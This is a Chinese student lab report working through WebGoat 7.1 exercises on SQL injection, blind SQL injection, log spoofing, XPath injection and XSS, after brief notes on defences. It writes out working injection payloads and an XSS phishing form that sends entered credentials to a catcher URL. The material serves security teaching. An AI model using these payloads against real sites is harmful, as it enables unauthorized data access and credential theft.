一、基础问题回答
(1)SQL注入攻击原理,如何防御
原理:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。
防御:
就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,\';等关键字和特殊字符都过滤了,大不了抛出异常而已呗…… 或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)
(2)XSS攻击的原理,如何防御
原理:
XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。
防御:
与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。
(3)CSRF攻击原理,如何防御
原理:
跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。
防御:
使用验证码,表单中附加随机值,以此来防止冒充。
二、环境配置
真的是前人栽好树,后人好乘凉呀,只需要去杨正晖同学的百度云里下载7.1版本的webgoat然后拷贝到虚拟机里就可以用,之前我也下载了8.0版本的,结果他的答题模式是不一样,所以就放弃了 。
将7.1版本的webgoat下载好之后拷贝到虚拟机中,打开终端进入该目录输入
java -jar webgoat-container-7.0.1-war-exec
然后打开浏览器在地址栏输入localhost:8080/WebGoat
即可进入webgoat登录界面=-=
用默认帐号和密码即可登录。
三、实践过程
在这之前需要将自己的火狐浏览器稍微优化一下。。。。比如把浏览器调成中文,给浏览器加装两个插件可以翻译网页和取词翻译,当然这个在国内可能不太友好要翻墙。。。当我没说哈哈哈哈哈
不过好像没什么用,太慢了,国内不支持。
1. Injection Flaws——Numeric SQL Injection
原理大概就是要修改一下输入操作,这里kali上有自带的开发人员工具调试。要改的地方有两处第一个是SELECT * FROM weather_data WHERE station = [station]
拦截报文将station字段后补充成一个永真式101 OR 1=1。于是整个语句就变成了SELECT * FROM weather_data WHERE station = 101 OR 1=1
第二处要改的是这里,加一个恒等式就行
然后就可以看到所有城市的天气。。。
2.Injection Flaws——Log Spoofing
日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入
zh%0d%0aLogin Succeeded for username: admin
其中%0d和%0a为CRLF换行符
则可以看到输出为:
第二行就是成果
3.Injection Flaws——XPATH Iniection
题目意思是下面的表格允许员工查看他们所有的个人资料,包括他们的薪水。你的账户是迈克/ test123。你的目标是尝试查看其他员工的数据。
解决方法是构造一个永真式
zwy\' or 1=1 or \'a\'=\'a
4.Injection Flaws——LAB:SQL Injection Stage1:String SQL Injection
使用String SQL注入来绕过身份验证。
1.以用户Neville登录,在密码栏中输入\' or 1=1 --
永真式进行SQL注入,但是会发现登录失败。我们通过控制台修改一下password的长度为50,再次登陆。
5.Injection Flaws——LAB:SQL Injection Stage1:Numeric SQL Injection
该题目的目的是通过注入语句,浏览到原本无法浏览的信息。绕过认证执行SQL注入,通过一个普通员工的账户larry,浏览其BOSS的账户信息。
通过SQL注入登录进去Larry用户(注意:网页刷新需要重新修改password的长度)
将value的值改成101 or 1=1 order by salary desc --
,这样做的目的是通过薪水排行将老板放到第一个
点击ViewProfile
进入,即可查看老板相关信息。
6.Injection Flaws——Blind Numberic SQL Injection
数字盲注
题目中说明了下面的表单允许用户输入帐号并确定它是否有效,即返回值只有账户有效或无效两种。
1.先输入101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 4000);
,结果是
Account number is valid.
账户有效,再试试
2.再输入101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 2500 );
,结果是
Invalid account number.
,账户无效。也就是说,我们要找的数在2000~2500之间
3.利用二分法,多次尝试,找到数字为2364
7.Injection Flaws——Blind String SQL Injection
和上一题一样,只是由猜数字变成猜字符方法类似,难度加深
1.输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=\'4321432143214321\'), 1, 1) >\'z\' );
进行猜解,发现结果为Account number is valid
,账户有效。
再往大写的字母猜测,最终确定首字母为J
2.接下来猜第二个字母
输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=\'4321432143214321\'), 2, 1) >\'h\' );
发现结果为Account number is valid
,账户有效。
最后确定第二个字母为i
3.这样一步步尝试,最后确定用户名为Jill
8.Cross-Site Scripting (XSS)——跨站脚本钓鱼攻击(Phishing with XSS)
题目要求是关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。
1.使用XSS和HTML插入制作一个钓鱼网站,将其输在search框中,代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
2.输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
3.成功
9.Cross-Site Scripting (XSS)——Stored XSS Attacks
题目的意思是我们要在信息中添加一个html的标签。
在Title里输入“Test Stored XSS”,在 Message里输入<script>alert("20154330zwy!");</script>
10.Cross-Site Scripting (XSS)——Reflected XSS Attacks
当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看:
如果我们将带有攻击性的URL作为输入源,比如<script>alert("20154330zwyyqh");</script>
,就会弹出对话框
四、实验总结与体会
这次也谈不上是一次试验,给我的感觉更像是刷题,有难有易,不同类型,不同操作涵盖了web的较多方面,让我们有一个较好的平台去继续了解课程相关的其他方面的东西,感觉还是很不错的。